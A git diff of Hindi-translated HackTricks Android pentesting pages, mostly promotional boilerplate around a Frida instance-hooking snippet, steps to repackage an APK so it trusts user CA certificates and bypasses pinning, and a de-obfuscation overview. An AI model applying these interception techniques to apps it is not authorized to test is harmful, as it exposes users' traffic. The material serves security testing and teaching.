यदि आप किसी बनाए गए ऑब्जेक्ट के कुछ गुण निकालना चाहते हैं, तो आप इसका उपयोग कर सकते हैं।
|
||||||
|
|
||||||
|
इस उदाहरण में, आप देखेंगे कि कैसे my\_activity क्लास का ऑब्जेक्ट प्राप्त किया जाए और कैसे .secret() फ़ंक्शन को कॉल किया जाए जो ऑब्जेक्ट के एक निजी गुण को प्रिंट करेगा:
|
||||||
```javascript
|
```javascript
|
||||||
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
||||||
onMatch : function(instance){ //This function will be called for every instance found by frida
|
onMatch : function(instance){ //This function will be called for every instance found by frida
|
||||||
|
@ -191,29 +188,28 @@ console.log("Result of secret func: " + instance.secret());
|
||||||
onComplete:function(){}
|
onComplete:function(){}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
## अन्य फ्रिडा ट्यूटोरियल
|
## अन्य Frida ट्यूटोरियल
|
||||||
|
|
||||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||||
* [एडवांस्ड फ्रिडा उपयोग ब्लॉग सीरीज का भाग 1: IOS एन्क्रिप्शन लाइब्रेरी](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
* Advanced Frida Usage ब्लॉग श्रृंखला का भाग 1: IOS एन्क्रिप्शन पुस्तकालय ([https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**बग बाउंटी टिप**: **Intigriti** में **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाया गया है**! हमारे साथ जुड़ें [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) आज ही, और शुरू करें बाउंटी कमाना जो तकनीकी त्रुटियों तक **$100,000** तक हो सकता है!
|
**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) का खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,33 @@
|
||||||
<details>
|
{% hint style="success" %}
|
||||||
|
सीखें और अभ्यास करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
सीखें और अभ्यास करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
|
||||||
|
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** के लिए PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos।
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
|
|
||||||
**Take a look to: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** के लिए PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
|
**देखें: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और अभ्यास करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और अभ्यास करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,40 +1,39 @@
|
||||||
# Make APK Accept CA Certificate
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a> <strong>के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard सुरक्षा समूह**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/in/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
कुछ एप्लिकेशन उपयोगकर्ता डाउनलोड किए गए प्रमाणपत्रों को पसंद नहीं करते हैं, इसलिए कुछ ऐप्स के लिए वेब ट्रैफिक की जांच करने के लिए हमें वास्तव में एप्लिकेशन को डिकॉम्पाइल करना होता है और कुछ चीजें जोड़नी होती हैं और पुनः कंपाइल करनी होती है।
|
कुछ एप्लिकेशन उपयोगकर्ता द्वारा डाउनलोड किए गए प्रमाणपत्रों को पसंद नहीं करते हैं, इसलिए कुछ ऐप्स के लिए वेब ट्रैफ़िक का निरीक्षण करने के लिए हमें वास्तव में एप्लिकेशन को डिकंपाइल करना होगा और कुछ चीजें जोड़नी होंगी और फिर से संकलित करना होगा।
|
||||||
|
|
||||||
## स्वचालित
|
# Automatic
|
||||||
|
|
||||||
उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **स्वचालित रूप से** आवेदन में आवश्यक परिवर्तन करेगा ताकि अनुरोधों को कैप्चर करना शुरू हो जाए और प्रमाणपत्र पिनिंग (यदि कोई हो) को भी अक्षम कर देगा।
|
उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **स्वतः** एप्लिकेशन में आवश्यक परिवर्तन करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम कर देगा (यदि कोई हो)।
|
||||||
|
|
||||||
## मैन्युअल
|
# Manual
|
||||||
|
|
||||||
सबसे पहले हम ऐप्लिकेशन को डिकॉम्पाइल करते हैं: `apktool d *file-name*.apk`
|
पहले हम ऐप को डिकंपाइल करते हैं: `apktool d *file-name*.apk`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img9.png)
|
![](../../.gitbook/assets/img9.png)
|
||||||
|
|
||||||
फिर हम **Manifest.xml** फ़ाइल में जाते हैं और `<\application android>` टैग तक स्क्रॉल करते हैं और यदि यह पहले से नहीं है तो हम निम्नलिखित पंक्ति जोड़ेंगे:
|
फिर हम **Manifest.xml** फ़ाइल में जाते हैं और `<\application android>` टैग तक स्क्रॉल करते हैं और यदि यह पहले से नहीं है तो हम निम्नलिखित पंक्ति जोड़ने जा रहे हैं:
|
||||||
|
|
||||||
`android:networkSecurityConfig="@xml/network_security_config`
|
`android:networkSecurityConfig="@xml/network_security_config`
|
||||||
|
|
||||||
|
@ -46,8 +45,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
||||||
|
|
||||||
![](../../.gitbook/assets/img11.png)
|
![](../../.gitbook/assets/img11.png)
|
||||||
|
|
||||||
अब **res/xml** फ़ोल्डर में जाएं और निम्नलिखित सामग्री के साथ एक फ़ाइल network\_security\_config.xml बनाएं/संशोधित करें:
|
अब **res/xml** फ़ोल्डर में जाएं और network\_security\_config.xml नाम की फ़ाइल बनाएं/संशोधित करें जिसमें निम्नलिखित सामग्री हो:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
<network-security-config>
|
<network-security-config>
|
||||||
<base-config>
|
<base-config>
|
||||||
|
@ -60,27 +58,28 @@ HackTricks का समर्थन करने के अन्य तरी
|
||||||
</base-config>
|
</base-config>
|
||||||
</network-security-config>
|
</network-security-config>
|
||||||
```
|
```
|
||||||
|
फिर फ़ाइल को सहेजें और सभी निर्देशिकाओं से बाहर निकलें और निम्नलिखित कमांड के साथ apk को फिर से बनाएं: `apktool b *folder-name/* -o *output-file.apk*`
|
||||||
तो फिर फ़ाइल को सहेजें और सभी निर्देशिकाओं से बाहर निकलें और निम्नलिखित कमांड के साथ एपीके बील्ड करें: `apktool b *folder-name/* -o *output-file.apk*`
|
|
||||||
|
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
|
||||||
अंततः, आपको बस **नए एप्लिकेशन को साइन करना** है। [इस पृष्ठ के इस खंड को पढ़ें Smali - Decompiling/\[Modifying\]/Compiling ताकि आप इसे साइन करना सीख सकें](smali-changes.md#sing-the-new-apk).
|
अंत में, आपको बस **नए एप्लिकेशन पर हस्ताक्षर करना** है। [इसे साइन करने के लिए Smali - Decompiling/\[Modifying\]/Compiling के इस पृष्ठ के अनुभाग को पढ़ें](smali-changes.md#sing-the-new-apk)।
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<img src="https://github.com/carlospolop/hacktricks/blob/in/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt="" data-size="original">
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Other ways to support HackTricks:
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
HackTricks का समर्थन करने के अन्य तरीके:
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||||
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
|
||||||
|
* **अपने हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,23 +1,35 @@
|
||||||
<details>
|
## Manual **De-obfuscation Techniques**
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
**सॉफ़्टवेयर सुरक्षा** के क्षेत्र में, अस्पष्ट कोड को समझने योग्य बनाने की प्रक्रिया, जिसे **de-obfuscation** कहा जाता है, महत्वपूर्ण है। यह गाइड de-obfuscation के विभिन्न रणनीतियों में गहराई से जाती है, जो स्थैतिक विश्लेषण तकनीकों और अस्पष्टता पैटर्न को पहचानने पर केंद्रित है। इसके अतिरिक्त, यह व्यावहारिक अनुप्रयोग के लिए एक व्यायाम प्रस्तुत करती है और उन लोगों के लिए आगे के संसाधनों का सुझाव देती है जो अधिक उन्नत विषयों का अन्वेषण करना चाहते हैं।
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
### **Strategies for Static De-obfuscation**
|
||||||
|
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड** करें तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
जब **obfuscated code** के साथ काम कर रहे होते हैं, तो अस्पष्टता की प्रकृति के आधार पर कई रणनीतियाँ अपनाई जा सकती हैं:
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
- **DEX bytecode (Java)**: एक प्रभावी दृष्टिकोण में एप्लिकेशन के de-obfuscation तरीकों की पहचान करना शामिल है, फिर इन तरीकों को एक Java फ़ाइल में दोहराना। इस फ़ाइल को लक्षित तत्वों पर अस्पष्टता को उलटने के लिए निष्पादित किया जाता है।
|
||||||
|
- **Java और Native Code**: एक और विधि de-obfuscation एल्गोरिदम को Python जैसी स्क्रिप्टिंग भाषा में अनुवाद करना है। यह रणनीति यह उजागर करती है कि प्राथमिक लक्ष्य एल्गोरिदम को पूरी तरह से समझना नहीं है, बल्कि इसे प्रभावी ढंग से निष्पादित करना है।
|
||||||
|
|
||||||
## मैन्युअल **डी-ऑब्फस्केशन तकनीकें**
|
### **Identifying Obfuscation**
|
||||||
|
|
||||||
**सॉफ्टवेयर सुरक्षा** के क्षेत्र में, अंधकृत कोड को समझने में मदद करने वाली प्रक्रिया, जिसे **डी-ऑब्फस्केशन** कहा जाता है, महत्वपूर्ण है। यह गाइड विभिन्न तकनीकों में डी-ऑब्फस्केशन के लिए विभिन्न रणनीतियों में खोजता है, स्थिर विश्लेषण तकनीकों पर ध्यान केंद्रित करता है और अंधकृतीकरण पैटर्न की पहचान करता है। इसके अतिरिक्त, यह एक अभ्यास को व्यावहारिक लागू करने के लिए पेश करता है और उन लोगों के लिए और उन्हें अधिक उन्नत विषयों का अन्वेषण करने में रुचि रखने वालों के लिए और सुझाव देता है।
|
अस्पष्ट कोड को पहचानना de-obfuscation प्रक्रिया में पहला कदम है। प्रमुख संकेतक शामिल हैं:
|
||||||
|
|
||||||
### **स्थिर डी-ऑब्फस्केशन के लिए रणनीतियाँ**
|
- Java और Android में **स्ट्रिंग्स की अनुपस्थिति या उलझन**, जो स्ट्रिंग अस्पष्टता का सुझाव दे सकती है।
|
||||||
|
- **बाइनरी फ़ाइलों की उपस्थिति** जो assets निर्देशिका में हैं या `DexClassLoader` को कॉल करती हैं, जो कोड अनपैकिंग और गतिशील लोडिंग का संकेत देती हैं।
|
||||||
|
- **अज्ञात JNI फ़ंक्शंस के साथ Native Libraries** का उपयोग, जो संभावित रूप से मूल विधियों की अस्पष्टता को इंगित करता है।
|
||||||
|
|
||||||
**अंधकृत कोड** के साथ निपटते समय, अंधकृतीकरण के प्रकृति के आधार पर कई रणनीतियाँ अपनाई जा सकती हैं:
|
## **Dynamic Analysis in De-obfuscation**
|
||||||
|
|
||||||
- **DEX बाइटकोड (जावा)**: एक प्रभावी दृष्टिकोण शामिल है जिसमें अनुप्रयोग के डी-ऑब्फस्केशन विध
|
नियंत्रित वातावरण में कोड को निष्पादित करके, गतिशील विश्लेषण **यह देखने की अनुमति देता है कि अस्पष्ट कोड वास्तविक समय में कैसे व्यवहार करता है**। यह विधि विशेष रूप से जटिल अस्पष्टता पैटर्न के आंतरिक कार्यों को उजागर करने में प्रभावी है जो कोड के वास्तविक इरादे को छिपाने के लिए डिज़ाइन किए गए हैं।
|
||||||
|
|
||||||
|
### **Applications of Dynamic Analysis**
|
||||||
|
|
||||||
|
- **Runtime Decryption**: कई अस्पष्टता तकनीकों में स्ट्रिंग्स या कोड खंडों को एन्क्रिप्ट करना शामिल होता है जो केवल रनटाइम पर डिक्रिप्ट होते हैं। गतिशील विश्लेषण के माध्यम से, इन एन्क्रिप्टेड तत्वों को डिक्रिप्शन के क्षण में कैप्चर किया जा सकता है, जिससे उनकी वास्तविक रूप प्रकट होती है।
|
||||||
|
- **Identifying Obfuscation Techniques**: एप्लिकेशन के व्यवहार की निगरानी करके, गतिशील विश्लेषण विशिष्ट अस्पष्टता तकनीकों की पहचान करने में मदद कर सकता है, जैसे कोड वर्चुअलाइजेशन, पैकर, या गतिशील कोड जनरेशन।
|
||||||
|
- **Uncovering Hidden Functionality**: अस्पष्ट कोड में छिपी हुई कार्यक्षमताएँ हो सकती हैं जो केवल स्थैतिक विश्लेषण के माध्यम से स्पष्ट नहीं होती हैं। गतिशील विश्लेषण सभी कोड पथों का अवलोकन करने की अनुमति देता है, जिसमें वे भी शामिल हैं जो शर्तानुसार निष्पादित होते हैं, ताकि ऐसी छिपी हुई कार्यक्षमताओं को उजागर किया जा सके।
|
||||||
|
|
||||||
|
## References and Further Reading
|
||||||
|
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||||
|
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||||
|
* यह टॉक एक Android एप्लिकेशन द्वारा उपयोग किए जाने वाले सबसे जटिल एंटी-एनालिसिस मूल पुस्तकालयों में से एक के रिवर्स इंजीनियरिंग के बारे में है। यह मुख्य रूप से मूल कोड में अस्पष्टता तकनीकों को कवर करता है।
|
||||||
|
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||||
|
* यह टॉक एक श्रृंखला की अस्पष्टता तकनीकों पर चर्चा करता है, जो केवल Java कोड में है, जिसका उपयोग एक Android बोटनेट अपने व्यवहार को छिपाने के लिए कर रहा था।
|
||||||
|
|
|
@ -1,62 +1,64 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
